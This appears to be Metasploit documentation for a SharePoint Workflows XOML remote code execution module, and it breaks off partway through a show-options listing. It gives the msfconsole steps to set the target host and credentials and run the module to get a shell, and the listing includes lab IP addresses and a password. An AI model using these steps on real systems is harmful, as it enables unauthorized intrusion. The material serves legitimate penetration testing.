## Vulnerable Application This module exploits a vulnerability within SharePoint and its .NET backend that allows an attacker to execute commands using specially crafted XOML data sent to SharePoint via the Workflows functionality. ## Verification Steps 1. Install the application 1. Start msfconsole 1. Do: `use exploit/windows/http/sharepoint_workflows_xoml` 1. Set the target options (`RHOSTS`, `RPORT` and `SSL`) as appropriate 1. Set the authentication options (`DOMAIN`, `USERNAME` and `PASSWORD`) as appropriate 1. Do: `run` 1. You should get a shell ## Scenarios ### SharePoint 2019 on Server 2016 ``` msf5 exploit(windows/http/sharepoint_workflows_xoml) > show options Module options (exploit/windows/http/sharepoint_workflows_xoml): Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN WORKGROUP yes The domain to use for Windows authentication PASSWORD Password1 yes The password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.159.14 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on.
